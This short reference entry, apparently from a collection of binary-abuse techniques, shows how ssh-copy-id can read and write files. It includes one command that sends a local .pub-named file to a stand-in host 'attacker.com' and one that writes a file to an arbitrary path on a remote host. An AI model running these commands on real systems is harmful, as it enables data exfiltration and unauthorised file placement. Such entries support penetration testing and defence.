ssh-copy-id

File Read

The input file must have the `.pub` file extension. The file will be copied to `~/.ssh/authorized_keys`, otherwise the `-t /path/to/output-file` option can be used.

ssh-copy-id -f -i /path/to/input-file.pub user@attacker.com

File Write

The input file must have the `.pub` file extension.

ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@host